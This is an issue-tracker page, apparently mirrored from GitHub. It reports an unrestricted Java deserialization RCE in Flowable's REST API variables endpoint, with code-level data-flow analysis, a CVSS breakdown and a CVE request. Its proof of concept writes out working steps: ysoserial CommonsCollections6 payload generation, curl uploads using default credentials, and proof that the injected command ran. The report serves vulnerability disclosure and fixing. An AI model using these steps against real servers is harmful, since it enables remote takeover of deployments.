[SECURITY] Deserialization RCE via POST /runtime/process-instances/{processInstanceId}/variables with type=serializable (CWE-502, CVSS 8.8)
Les mainteneurs répondent en général sous 1 jour
Personne n'a encore pris cette issue.
Évaluation
- Difficulté
- 4/5
- Temps estimé
- 3-5 jours
- Accessibilité débutants
- 35/100
Piste de recherche
Start by reading BaseExecutionVariableResource.java around setBinaryVariable(), then trace the callers in BaseVariableCollectionResource.java and ProcessInstanceVariableCollectionResource.java. Check flowable-default.properties for the default serializable-variable setting and identify existing tests for multipart variable uploads. Done means the reported unrestricted deserialization path is no longer exploitable under the default configuration, with regression coverage for the endpoint.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Description
Security Vulnerability Report -- CWE-502
Summary
The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint allows unrestricted Java deserialization (ObjectInputStream.readObject) of uploaded files via multipart/form-data under default configuration. An attacker only needs Basic Auth credentials to trigger remote code execution (RCE).
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint supports uploading binary variables via multipart/form-data. When the request's type parameter value is serializable, the server uses ObjectInputStream to directly perform Java native deserialization (readObject()) on the uploaded file content, without applying any class whitelist or ObjectInputFilter filtering. The rest.variables.allow.serializable property defaults to true in the default configuration, so an attacker only needs valid Basic Auth credentials to upload serialized objects containing malicious gadget chains to achieve remote code execution (RCE).
Exploitation Prerequisites
- Authentication Status: Requires valid Basic Auth credentials (regular user sufficient; default
authenticationMode=verify-privilegerequiresaccess-rest-apiprivilege, butauthenticated()is sufficient) - Network Reachability: Flowable REST API port reachable (default 8080)
- Input Constraints: Send a
multipart/form-datarequest containing anameparameter,type=serializableparameter, and afilefield containing the malicious serialized payload - Business Prerequisites: Need to know an existing
processInstanceId(can be obtained via other API endpoints or by creating a process instance) - Configuration Dependencies: Triggerable with default configuration (
rest.variables.allow.serializable=true); Spring Boot classpath typically contains Commons Collections, Spring Beans, and other libraries needed for deserialization gadget chains
Trigger Location
BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
Data Flow Overview
-
Entry Layer —
ProcessInstanceVariableCollectionResource.createExecutionVariable()(ProcessInstanceVariableCollectionResource.java:149-154)- Receives
@PostMapping /runtime/process-instances/{processInstanceId}/variablesmultipart/form-data request - Calls
getExecutionFromRequestWithoutAccessCheck(processInstanceId)to get Execution object - Delegates request to
BaseVariableCollectionResource.createExecutionVariable()
- Receives
-
Dispatch Layer —
BaseVariableCollectionResource.createExecutionVariable()(BaseVariableCollectionResource.java:83-86)- Checks
request instanceof MultipartHttpServletRequest - If multipart request, calls
setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async)
- Checks
-
Parameter Parsing Layer —
BaseExecutionVariableResource.setBinaryVariable()(BaseExecutionVariableResource.java:102-136)- Extracts uploaded file and form parameters (
scope,name,type) from multipart request - Validates
typeonly allowsbinaryorserializable - When
type=serializable, enters deserialization branch
- Extracts uploaded file and form parameters (
-
Sink —
ObjectInputStream.readObject()(BaseExecutionVariableResource.java:164-165)- Directly uses
new ObjectInputStream(file.getInputStream())to construct deserialization stream - Calls
stream.readObject()to deserialize uploaded file content - No class name whitelist, ObjectInputFilter, or ValidatingObjectInputStream protection
- Directly uses
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data serialized variable upload -> readObject() RCE
Layer 1: Entry — ProcessInstanceVariableCollectionResource.java:149-154
@PostMapping(value = "/runtime/process-instances/{processInstanceId}/variables",
produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createExecutionVariable(
@ApiParam(name = "processInstanceId") @PathVariable String processInstanceId,
HttpServletRequest request, HttpServletResponse response) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
return createExecutionVariable(execution, false, false, request, response);
}
- External input:
processInstanceId(path parameter),request(HTTP request, containing multipart data) - Operation: Gets Execution object, then passes raw
HttpServletRequestto parent class method - Data transfer:
requestpassed as method parameter toBaseVariableCollectionResource.createExecutionVariable()
Layer 2: Dispatch — BaseVariableCollectionResource.java:83-86
protected Object createExecutionVariable(Execution execution, boolean override,
boolean async, HttpServletRequest request, HttpServletResponse response) {
Object result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
} else {
// JSON body processing...
}
- External input:
request(HttpServletRequest passed from entry) - Operation: Checks if request is MultipartHttpServletRequest, if so calls
setBinaryVariable() - Data transfer: Casts
requesttoMultipartHttpServletRequestand passes it
Layer 3: Parameter Parsing — BaseExecutionVariableResource.java:102-136
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
Execution execution, boolean isNew, boolean async) {
// ...
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
// ...
Map<String, String[]> paramMap = request.getParameterMap();
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("scope".equalsIgnoreCase(parameterName)) {
variableScope = paramMap.get(parameterName)[0];
} else if ("name".equalsIgnoreCase(parameterName)) {
variableName = paramMap.get(parameterName)[0];
} else if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0];
}
}
}
- External input: multipart file and form parameters from
request - Operation: Extracts uploaded file object
file, and form parametersname,type,scope - Data transfer:
fileandvariableTypecontinue to be used within the same method
Layer 4: Sink — BaseExecutionVariableResource.java:144-166
if (variableType != null) {
if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException(
"Only 'binary' and 'serializable' are supported as variable type.");
}
} else {
variableType = RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE;
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
setVariable(execution, variableName, variableBytes, scope, isNew, async);
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unrestricted deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- External input:
file.getInputStream()(attacker-uploaded file byte stream),variableType(attacker-controlled form parameter) - Operation: When
variableTypeis"serializable"andisSerializableVariableAllowedistrue(default value), directly deserializes the entire uploaded file content viaObjectInputStream.readObject()into a Java object - Key issue: No security wrappers used when constructing
ObjectInputStream(e.g., Apache Commons IO'sValidatingObjectInputStream, Java 9+'sObjectInputFilter), no restrictions on deserialized class names - Data transfer: Deserialized
Object valuedirectly stored as variable value in process engine
Default Configuration Confirmation:
flowable-default.properties:57:
rest.variables.allow.serializable=true
BaseExecutionVariableResource.java:70:
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Default value is true, meaning the deserialization path is fully available under default deployment.
CVSS Breakdown
| Vector | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network | Triggered remotely via HTTP REST API |
| Attack Complexity (AC) | Low | Attacker only needs to send a multipart POST request, no special conditions |
| Privileges Required (PR) | Low | Requires valid Basic Auth credentials (regular user sufficient) |
| User Interaction (UI) | None | No user interaction required |
| Scope (S) | Changed | Deserialization RCE can affect Flowable engine and underlying OS, exceeding the vulnerable component's own scope |
| Confidentiality (C) | High | Successful exploitation can fully control server, access all sensitive data |
| Integrity (I) | High | Can modify arbitrary data, tamper with process definitions |
| Availability (A) | High | Can stop service, delete data |
Overall Score: 8.8 (High)
PoC Verification Report
Flowable REST API POST /runtime/process-instances/{id}/variables Unrestricted Java Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable REST API ProcessInstance Variable Unrestricted Java Deserialization
- Affected Component/Port: Flowable REST API (Tomcat port 8080), version 7.1.0
- Vulnerability Description: Through the
POST /runtime/process-instances/{processInstanceId}/variablesendpoint uploadingtype=serializablevariables viamultipart/form-data, the server directly callsObjectInputStream.readObject()to deserialize uploaded file content without any class name whitelist orObjectInputFilter. An attacker can leverage Commons Collections gadget chain to achieve RCE - Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unrestricted deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- Brief Data Flow:
Attacker HTTP POST multipart/form-data
→ file=[CC6 gadget chain], name=testVar, type=serializable
↓
ProcessInstanceVariableCollectionResource.createExecutionVariable (ProcessInstanceVariableCollectionResource.java:149)
↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83)
Detects MultipartHttpServletRequest → calls setBinaryVariable()
↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102)
Extracts file, name, type parameters
↓
BaseExecutionVariableResource.java:164-165
new ObjectInputStream(file.getInputStream()).readObject() → RCE
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | Requires valid Basic Auth credentials (regular user sufficient, e.g., rest-admin:test) |
| Network Reachability | Flowable REST API port reachable (default 8080) |
| Configuration Dependency | Exploitable with default config (rest.variables.allow.serializable=true) |
| Other Prerequisites | Need an existing processInstanceId (can be obtained by creating a process instance via POST) |
Exploitation Chain Progress
Successful Exploitation:
| Chain Stage | Location (file:line) | Status | Evidence / Description |
|---|---|---|---|
| Entry | ProcessInstanceVariableCollectionResource.java:149 | Reached | POST multipart/form-data request with type=serializable parameter entered endpoint |
| Intermediate Flow | BaseVariableCollectionResource.java:83 | Reached | request instanceof MultipartHttpServletRequest is true, entered setBinaryVariable() |
| Parameter Parsing | BaseExecutionVariableResource.java:120-135 | Reached | Extracted name=testVar, type=serializable, variable type validation passed |
| Sink | BaseExecutionVariableResource.java:164-165 | Triggered | ObjectInputStream.readObject() deserialized CC6 gadget chain, Runtime.exec() executed system command |
| Conclusion | — | Full Chain Closed, RCE Successful | Filesystem produced file created by touch command as RCE evidence |
Exploitation Verification
Step 1: Obtain processInstanceId
curl -s -u rest-admin:test -X POST \
"http://localhost:8080/flowable-rest/service/runtime/process-instances" \
-H "Content-Type: application/json" \
-d '{"processDefinitionKey":"oneTaskProcess"}'
Return result (extract id field):
{"id":"1b783b21-9000-11f1-a444-02423661ba3a", ...}
Step 2: Generate CommonsCollections6 serialized payload
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"touch /tmp/poc_entry_0625_rce_proof" > cc6_touch.ser
Step 3: Send malicious multipart request to trigger RCE
PROCESS_ID="1b783b21-9000-11f1-a444-02423661ba3a"
curl -s -u rest-admin:test \
-X POST \
-F "name=testVar" \
-F "type=serializable" \
-F "file=@cc6_touch.ser;type=application/octet-stream" \
"http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROCESS_ID}/variables"
Actual execution result: HTTP 201, variable created successfully:
{"name":"testVar","type":"serializable","value":null,
"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/1b783b21-9000-11f1-a444-02423661ba3a/variables/testVar/data",
"scope":"local"}
HTTP_CODE: 201
Step 4: Verify RCE command was executed on server
ls -la /tmp/poc_entry_0625_rce_proof
Actual result:
-rw-r----- 1 root root 0 Aug 4 12:29 /tmp/poc_entry_0625_rce_proof
Conclusion: The attacker successfully executed the touch /tmp/poc_entry_0625_rce_proof command on the Flowable REST API server through a multipart POST request carrying a CommonsCollections6 gadget chain. The HTTP 201 response confirms the server fully processed the request, and the new file /tmp/poc_entry_0625_rce_proof on the filesystem directly proves that ObjectInputStream.readObject() triggered Runtime.exec() to execute an arbitrary system command, achieving remote code execution (RCE). This vulnerability is exploitable under default configuration with only regular user Basic Auth credentials.
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- Langage dominant
- Java
- Étoiles
- 9.6k
- Forks
- 2.9k
- Merge moyen
- 1 j 4 h
- PR mergées (30 j)
- 7
Préparer son environnement
- Aucun Dockerfile ni fichier Docker Compose
- Propose un modèle de pull request
- Aucun guide de contribution
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de flowable/flowable-engine
-
FlowableMultiInstanceActivityEventImpl#isSequential() typo issuePeut-être pris @maxim618 l’a pris il y a 45 jours. Ouverte
Difficulté 1/5 Moins d'une heure Accessibilité débutants 88/100
flowable/flowable-engine#4268 ·
Les mainteneurs répondent en général sous 1 jour
-
Submit #999720: Flowable Flowable BPM Engine 7.x 全量;flowable5-engine (org.activiti 兼容层) 5.x import unguarded dynamic class load remote code execution🔓infoPeut-être pris Une pull request liée à cette issue est ouverte ou déjà fusionnée. Ouverte
Difficulté 5/5 Plus d'une semaine Accessibilité débutants 25/100
flowable/flowable-engine#4314 ·
Les mainteneurs répondent en général sous 1 jour
-
Flowable Flowable BPM Engine 7.x;flowable5-engine 5.x missing authorization remote code executionOuverte
Difficulté 4/5 3-5 jours Accessibilité débutants 25/100
flowable/flowable-engine#4313 ·
Les mainteneurs répondent en général sous 1 jour
-
BpmnModel#addEscalation method implement errorPeut-être à nouveau libre @Rohith1551 l’a pris il y a 14 jours, et aucune pull request n’est ouverte. Ouverte
Difficulté 3/5 1-2 jours Accessibilité débutants 55/100
flowable/flowable-engine#4306 · 2 commentaires ·
Les mainteneurs répondent en général sous 1 jour
-
Intermittent EmptyStackException during CDI bean resolution with Weld and asynchronous jobsPeut-être pris @adityaanikam l’a pris il y a 16 jours. Ouverte
Difficulté 4/5 3-5 jours Accessibilité débutants 48/100
flowable/flowable-engine#4302 ·
Les mainteneurs répondent en général sous 1 jour
Toutes les issues de flowable/flowable-engine
Issues similaires
-
Difficulté 2/5 1-3 heures Accessibilité débutants 78/100
Dans-Plugins/Medieval-Roleplay-Engine#384 ·
Les mainteneurs répondent en général sous 1 jour
-
bug P2
Difficulté 2/5 1-3 heures Accessibilité débutants 84/100
Les mainteneurs répondent en général sous 1 jour
-
:Search Relevance/Vectors >test-failure needs:risk Team:Search Relevance
Difficulté 2/5 1-3 heures Accessibilité débutants 61/100
elastic/elasticsearch#163668 · 3 commentaires · 1 réaction ·
Les mainteneurs répondent en général sous 1 jour
-
Controller está sem anotaçãoOuvertebug critical
Difficulté 1/5 Moins d'une heure Accessibilité débutants 85/100
-
agent:working bug follow-up lane:auto
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
Sanne/incus-spawn#1765 · 2 commentaires ·
Les mainteneurs répondent en général sous 1 jour